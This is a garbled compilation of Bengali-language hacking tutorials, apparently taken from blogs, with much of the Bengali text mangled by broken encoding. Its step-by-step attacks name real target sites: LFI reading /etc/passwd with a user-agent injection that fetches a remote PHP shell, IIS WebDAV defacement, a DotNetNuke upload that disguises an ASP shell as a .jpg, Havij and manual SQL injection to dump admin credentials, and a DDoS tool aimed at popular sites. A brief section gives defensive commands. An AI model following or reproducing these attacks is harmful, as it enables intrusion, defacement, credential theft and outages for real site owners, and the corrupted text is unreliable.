Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
